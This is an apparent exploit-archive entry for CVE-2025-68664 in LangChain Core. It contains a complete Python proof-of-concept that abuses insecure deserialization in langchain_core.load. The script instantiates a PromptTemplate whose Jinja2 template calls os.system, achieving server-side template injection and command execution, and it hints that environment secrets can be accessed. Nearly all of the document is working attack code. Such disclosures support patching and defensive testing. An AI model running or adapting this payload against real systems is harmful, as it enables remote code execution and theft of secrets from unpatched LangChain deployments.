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📄 LangChain Core Insecure Deserialization

🗓️ 05 May 2026 00:00:00Reported by Mohammed Idrees BanyamerType 
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LangChain Core insecure deserialization allows SSTI and remote code execution via a malicious PromptTemplate.

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# Exploit Title: LangChain Core - SSTI/RCE 
    # Date: 2025-12-29
    # Exploit Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Contact: @banyamer_security (Instagram)
    # GitHub: https://github.com/mbanyamer
    # Vendor Homepage: https://www.langchain.com/
    # Software Link: https://pypi.org/project/langchain-core/
    # Version: < 0.3.81 and < 1.2.5
    # Tested on: Python 3.10 - 3.12
    # CVE : CVE-2025-68664
    # Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate
    #              with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution.
    
    import os
    from langchain_core.load import dumps, load
    from langchain_core.prompts import PromptTemplate
    
    # Set a dummy env var (demonstrates potential secret access if needed)
    os.environ["TEST_SECRET"] = "secret_value_123"
    
    # Malicious constructor payload targeting PromptTemplate with SSTI
    payload = {
        "exploit": {
            "lc": 1,
            "type": "constructor",
            "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
            "kwargs": {
                "input_variables": [],
                "template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}",
                "template_format": "jinja2"
            }
        }
    }
    
    # Serialize (dumps does not escape 'lc' key)
    serialized = dumps(payload)
    
    # Deserialize - instantiates the malicious PromptTemplate
    deserialized = load(serialized, secrets_from_env=True)
    
    # Extract and invoke the malicious prompt → triggers SSTI → RCE
    malicious = deserialized["exploit"]
    output = malicious.format()
    
    print("[*] Command execution output:")
    print(output)

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